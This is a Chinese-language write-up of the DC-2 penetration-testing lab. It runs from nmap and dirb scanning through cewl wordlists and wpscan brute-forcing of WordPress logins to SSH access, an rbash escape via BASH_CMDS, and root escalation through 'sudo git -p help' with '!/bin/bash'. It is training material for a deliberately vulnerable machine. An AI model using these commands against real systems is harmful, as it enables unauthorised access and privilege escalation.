DC-2 靶机渗透测试
冲冲冲,好好学习。 --2020.12.21
本靶机核心内容“
受限shell提权
”,知识点在另一篇文章中总结归纳了。
攻击机:kali
靶 机:DC-2
准备:在使用前需要在操作机的hosts文件里添加靶机的ip和域名,访问靶机80端口时会自动转跳dc-2,不添加则无法访问172.66.66.132 dc-2
信息收集:nmap -sV -A 172.66.66.0/24
nmap -sV -p- 172.66.66.132
-A :探测操作系统
-sV :探测版本
-p- :探测0~65535端口开放情况
没有robots.txt文件,访问80端口看看并识别cms:
dirb扫一下目录,找找就发现了登录页面
发现登录页面,因为是wordpress的网页,想到cewl和wpscan。接着操作。
cewl是kali自带的一个字典生成文件,教程参考freebuf的文章 Kali Linux字典生成工具Cewl使用全指南
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充。你可以把字典用到类似John the Ripper这样的密码破解工具中。
其实就是生成一个社工的密码文件,网站的某些特定的字符有时候可能会成为密码,用cewl提取一下出来。
默认方法 cewl http://www.ignitetechnologies.in/ #输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典: 保存字典文件 cewl http://www.ignitetechnologies.in/ -w dict.txt #为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用 -w参数 来将密码字典存储为text文件: 查看的时候就 cat 一下 如果你想生成指定长度的密码字典,你可以使用-m选项来设置: cewl http://www.ignitetechnologies.in/ -m 9 #上述命令将生成长度至少为9位的密码,你可以从下图中看到,Cewl对目标网站进行了爬取,并打印出了长度至少为9位的密码: 从网站中获取Email cewl http://www.ignitetechnologies.in/ -n -e #你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典: 计算网站字典中重复的单词数量: cewl http://www.ignitetechnologies.in/ -c #如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:
输入cewl http://dc-2/ -w dir.txt
把生成的密码保存在 dir.txt
中,路径在/root,可以用cat dir.txt
查看详情。
接着有了密码,缺用户名,刚好这是个wordpress的站点,可以用WPScan枚举用户名,输入:wpscan --url dc-2 -e -u
找到三个用户名 admin
jerry
tom
可以尝试爆破:wpscan --url http://dc-2 -e u -P dir.txt
枚举用户名,加上 -P 密码文件路径
也可新建文件保存用户名再爆破:
wpscan --url http://dc-2 -U users.txt -P dir.txt
爆破成功:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
出现search,输入flag,找到flag1 、flag2,并且,是否存在注入点?
flag2 提示有另一个入口,猜想 注入
、SSH登录
,注入尝试失败,剩下SSH登录,ssh tom@172.66.66.132 -p 7744
密码parturient
只有tom账号密码可登录,但shell受限制大,较多命令无法执行。!
查看vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。 提示信息指向jerry
并且提示使用su
简单试了一下发现,当前tom用户能使用的命令:ls vi less scp(不完全),得知当前shell为 rbash
开始提权,针对rbash
提权,下面的操作是突破 rbash
,整个bash
出来。先知道一个函数BASH_CMDS[]
挖个坑,其实我也不是很透彻,后面再补。
BASH_CMDS[a]=/bin/sh;a
/bin/bash
再添加环境变量:export PATH=$PATH:/bin
添加/bin
是为了能够使用/bin 下的命令
(/bin
里是系统的一些指令。bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar
等。)
需要再去理解PATH的含义,再su与sudo 的那个login shell的区别
export -p
列出当前shell中所有的环境变量,特别留意 PATH
看一下passwd文件,jerry是允许登录的
提权成功后,执行su jerry
,adipiscing
切换到jerry用户,cd ../ ,ls 看到了flag4.txt,cat一下
提示git
提权
查看当前用户下的sudo命令列表 sudo -l
看到 (root) NOPASSWD: /usr/bin/git
,git命令是切换到root用户且无需密码直接使用,(注意,直接sudo ,不指定用户名,默认切换至 root 用户)
提权原理:因为git显示的内容太多需要分页显示的话,默认调用more来显示,那么more和less一样,都可以通过命令行模式输入!/bin/bash
进行提权
sudo git -p help
!/bin/bash
本靶机核心“受限shell提权
”
路线:nmap-->御剑扫后台并访问-->cewl-->wpscan-->ssh登录-->rbash突破-->sudo git 提权root
cewl
一个工具,根据目标网站的内容,生成一个特殊的社工密码文件
,可用于后续爆破,缺个用户名,这时候如果目标站点是WordPress站点
的话,就可以配合 Wpscan来获取用户名,再一起爆破。
WPScan
一个WordPress站点
扫描工具:(kali默认自带工具)
--url [wordpress url]
直接开始扫描
--enumerate |-e [option(s)]
枚举, option有
u 枚举用户名(默认从1-10)
,
p 枚举插件
vp只枚举有漏洞的插件
vt只枚举有漏洞的主题
tt列举所列图相关的文件
注意:没有指定选项是,
-e 默认为vt tt u vp 四个
--update
使用前先更新
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u
扫描用户名爆破:
wpscan --url https://www.xxxxx.wiki/ -e u --wordlist 字典文件路径
1.针对WPScan防护措施 :用户名枚举--->不要把昵称用作用户名,用包含随机字符的名字作用户名,昵称用低频的; 防止爆破措施:禁止ip重复尝试登陆; 防止扫描主题插件timthumb文件:使用
Block Bad Queries (BBQ)
插件
当拿到了账号密码,接下来有什么可以做的?
后台登录
、SSH登录
SSH远程登录命令格式:
ssh 客户端用户名@服务器ip
例:ssh tom@172.66.66.132
ssh 客户端用户名@服务器ip -p 端口
例:ssh tom@172.66.66.132 -p 7744
ssh 服务器ip
如果客户机的用户名和服务器的用户名相同,登录时可以省略用户名。拿到一个陌生的
受限制的shell
后,尽可能多的获取当前shell的信息,shell的类型
,可用功能/命令
检查可用命令:
敲入一个字母,按两下TAB键补全
,看能不能列出来文件/目录,如图都是可用的命令检查有suid权限的命令,哪些是归属于root用户。
find / -perm -4000 -type f 2>/dev/null -exec ls -alh {} \;
find / -perm -u=s -type f 2>/dev/null -exec ls -alh {} \;
查找可以使用的命令列表sudo
sudo -l
,看能不能用我们的密码执行其他用户的权限命令检查有什么语言可以使用,python、php、ruby、expect、perl等,它们会在后面排上用场
检查重定向运算符是否可用,例如
|
>
>>
<
>|
>&
&>
检查转义字符和执行标记,如
;
&
'
"
(
{
其中,(
这个是shell执行标记
export
命令用于设置或显示环境变量,在shell中执行程序时,shell会提供一组环境变量。export可增删改
环境变量,供后续程序使用,但是export的效力仅限于本次登录操作
(这里的 删 其实更贴切的描述是“暂时性禁用”,并不真的删除)格式:
export [-fnp][变量名称]=[变量设置值]
例:export MYNE=7 //定义环境变量并赋值,export -p 列出当前shell中所有环境变量
git提权
-p | --paginate
这个-p的意思就是以分页的形式展示git的帮助信息,进入交互模式,可输入命令sudo git -p help !/bin/bash
su 与 sudo 异同:在另一个笔记里,自己想,想不起来再去翻
echo $0 查看当前shell类型